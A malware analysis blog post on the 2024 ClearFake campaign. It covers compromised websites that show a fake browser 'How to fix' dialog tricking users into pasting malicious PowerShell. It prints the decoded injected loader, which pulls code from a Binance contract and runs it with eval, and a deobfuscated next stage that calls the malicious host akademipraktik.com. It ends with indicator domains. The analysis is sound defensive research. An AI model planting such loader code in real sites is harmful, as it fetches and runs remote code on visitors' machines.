ClearFake Malware Analysis Update
ClearFake started out last year in July 2023 as a fake browser update. Around December it switched to redirecting to various scammy campaigns including VexTrio and seemed to be a bit stagnated with no changes happening. Beginning in March 2024 it has renewed its efforts with several new features.
- A fake “How to fix” user experience
- Instead of a download, they convince the user to copy/paste malicious Powershell
- Very curious delayed 2-10 day go-live for infected websites
How to fix
This new campaign presents a modal dialog that appears to be coming from the browser as if there is a problem that needs fixing.
If the How to fix button is clicked, the modal is updated by unhiding some additional text with steps to follow in order to fix the non-existent problem.
If the user clicks Copy, it copies malicious Powershell into the Windows copy buffer. If indeed the user follows the remaining instructions, that malicious Powershell will run as that end user on their workstation. This is a relatively new methodology that has recently been observed in a few other threat chains. Instead of downloading a file and executing it, the user does the work for the threat actor and directly executes malicious code at a Powershell prompt.
Injection
ClearFake does not host its own initial website. Instead, it compromises an existing legitimate website and injects malicious code to make the user believe they landed where they wanted but that the browser needs some attention.
On the surface, the injection on a compromised website has not changed since 2023. It still inserts
two <script>...</script>
sections. The first to add support
for Binance with https://cdn.ethers.io/lib/ethers-5.2.umd.min.js
.
The second uses <script src="data:text/javascript;base64,
to help obscure what happens next. Here is what it looks like from an infected
sample from March 8th, 2024. The highlighted part is the injection.
When it re-engaged in March 2024, it used the same Javascript as it did in 2023 to
fetch the contract for a Binance address. ClearFake did use a few
different addresses, otherwise the Javascript was the same.
With this renewed engagement they are using the Binance address
0x34585777843Abb908a1C5FbD6F3f620bC56874AA.
Here is
what the second <script>
section from above looks like after decoding from base64.
async function load() {
let provider = new ethers.providers.JsonRpcProvider("https://bsc-dataseed1.binance.org/"),
signer = provider.getSigner(),
address = "0x34585777843Abb908a1C5FbD6F3f620bC56874AA",
ABI = [{
inputs: [{
internalType: "string",
name: "_link",
type: "string"
}],
name: "update",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "get",
outputs: [{
internalType: "string",
name: "",
type: "string"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "link",
outputs: [{
internalType: "string",
name: "",
type: "string"
}],
stateMutability: "view",
type: "function"
}],
contract = new ethers.Contract(address, ABI, provider),
link = await contract.get();
eval(atob(link))
}
window.onload = load;
We can see that on window load it gets the Binance contract for the
specified address, uses atob()
to convert from base64,
then simply evaluates the retrieved Javascript.
As of May 1st, 2024 the base64 encoded injection
changed. The last few lines introduce an added
variable
and instead of simply evaluating the converted contract,
it evalutes it as a function and then calls that function
with added
as a parameter.
contract = new ethers.Contract(address, ABI, provider),
added = 1714689812,
link = await contract.get();
_func = eval(atob(link));
_func(added);
}
window.onload = load;
Binance Contract
The decoded contract from Binance is an obfuscated Javascript. As noted by ThreatCat, the contract is updated every 10 minutes and appears to be freshly obfuscated code using https://obfuscator.io/. Here is what a recent sample looks like.
Here it is deobfuscated using https://deobfuscate.relative.im/.
;(_0x170704) => {
{
let _0xe89694 = new XMLHttpRequest()
return (
_0xe89694.open(
'GET',
'https://akademipraktik.com/8OtaBr/?added=' + _0x170704,
false
),
_0xe89694.send(null),
_0xe89694.responseText
)
}
}
We can see that it is an anonymous function that takes one argument
and uses it to return the response from the next stage with a query parameter named
added
.
It turns out that the value for added
here is provided
by the injected Javascript from the compromised website.
Looking back at the injection we see this.
added = 1714689812,
link = await contract.get();
_func = eval(atob(link));
_func(added);
_func()
is the anonymous function that Binance returned.
So with added
equal to 1714689812, the anonymous function will make the XMLHttpRequest()
GET to https://akademipraktik.com/8OtaBr/?added=1714689812
.
Going Epoch
If you’ve worked with date/time on Unix long enough, then you will have been exposed to one of the primary ways it tracks time. In most cases it does so with a single integer that counts the number of seconds since January 1st, 1970. This integer goes by a few names, one is epoch time.
That added
integer looked familar, so after plugging it into
https://www.epochconverter.com/ out
popped a date/time that was recent.
Multiple recent samples were reviewed on urlscan.io and
it appears that different sites have different added
values that
would potentially align with when their injection was added.
This is not conclusive, but seems a likely possibility.
Here’s an example
from May 2nd
which shows an added
value 1714576381 that converts to Wednesday, May 1, 2024 3:13:01 PM GMT.
Another example
from May 2nd
which shows an added
value 1714578316 that converts to May 1, 2024 3:45:16 PM GMT.
Ten days old
When initially analysing this recent iteration of ClearFake, it was
not getting past the /8OtaBr/?added=
stage. It was returning a
200 OK but with no content. After fiddling with the epoch time
being passed in the added
parameter it was observed that if
the time passed was older than about 2 days, it would return a payload.
This was later updated to be around 9 days.
This can be seen by using the $EPOCHSECONDS
environment variable
available at a linux bash prompt. With that variable we try using
curl
with yesterday, five days ago, nine days ago then finally
ten days ago.
Thus it would appear that ClearFake requires an infected site to not trigger and present the fake “How to fix” until some period of time has passed. Currently that threshold is about 9 days.
Stage 2
When the XMLHttpRequest GET to /8OtaBr/?added=
does respond, it will
be with the following Javascript.
This creates an iframe with a src
of the next payload with the path /bvxny6R6
.
Fake How to fix
The response from /bvxny6R6
includes HTML/CSS to render the fake error.
Also included is Javascript to perform a few tasks. The first of which is
to stash a base64 encoded payload into #code
for later reference. This
will turn out to be Powershell commands.
Next it will detect the browser in order to place the browser’s name and logo in the title of the model.
function detectBrowser()
{
let userAgent = navigator.userAgent;
let browser;
if(userAgent.indexOf("Firefox") > -1)
{
browser = "Mozilla Firefox";
}
else if(userAgent.indexOf("Opera") > -1 || userAgent.indexOf("OPR") > -1)
{
browser = "Opera";
}
else if(userAgent.indexOf("Edge") > -1 || userAgent.indexOf("Edg") > -1)
{
browser = "Microsoft Edge";
}
else if(userAgent.indexOf("Chrome") > -1)
{
browser = "Google Chrome";
}
else
{
browser = "Google Chrome";
}
return(browser);
}
Ultimately when the user does click on the Copy
button it will
copy that payload into the Windows copy/paste buffer.
Here is what that payload looks like.
The VBrowser
variable looks like this when decoded from base64
and is what the end user will unknownly have run.
For now, I’ll leave analysis of tt
for another day.
IOCs
akademipraktik.com
rtattack.baqebei1.online
valentinedaycard.com